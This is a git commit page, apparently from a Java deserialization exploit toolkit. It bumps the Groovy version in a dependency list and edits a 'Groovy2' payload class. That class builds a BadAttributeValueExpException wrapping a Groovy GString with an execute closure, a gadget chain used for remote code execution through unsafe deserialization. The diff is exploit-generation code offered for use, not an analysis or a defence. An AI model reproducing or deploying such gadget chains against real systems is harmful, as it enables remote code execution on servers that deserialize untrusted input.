add 7gadgets (降级groovyt适配新gadget)

This commit is contained in:
Fw-fW-fw
2024-08-19 18:58:51 +08:00
parent 5c766bfbf8
commit 7d7128b4db
2 changed files with 3 additions and 4 deletions
+1 -1
View File
@@ -41,7 +41,7 @@ org-apache-wicket-wicket-util = "6.23.0"
org-aspectj-aspectjweaver = "1.9.7" org-aspectj-aspectjweaver = "1.9.7"
org-beanshell-bsh = "2.0b5" org-beanshell-bsh = "2.0b5"
org-clojure-clojure = "1.8.0" org-clojure-clojure = "1.8.0"
org-codehaus-groovy-groovy = "2.4.3" org-codehaus-groovy-groovy = "2.4.5"
org-eclipse-jetty-jetty-ant = "11.0.7" org-eclipse-jetty-jetty-ant = "11.0.7"
org-fusesource-jansi-jansi = "2.4.0" org-fusesource-jansi-jansi = "2.4.0"
org-glassfish-tyrus-tyrus-server = "2.0.0" org-glassfish-tyrus-tyrus-server = "2.0.0"
@@ -25,9 +25,8 @@ public class Groovy2 implements ObjectPayload<Object> {
Reflections.setFieldValue(execute,"maximumNumberOfParameters",0); Reflections.setFieldValue(execute,"maximumNumberOfParameters",0);
} }
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val"); Reflections.setFieldValue(val,"val",gString);
valfield.setAccessible(true); Reflections.setFieldValue(gString,"values",(new Object[]{execute}));
valfield.set(val, gString);
return val; return val;
} }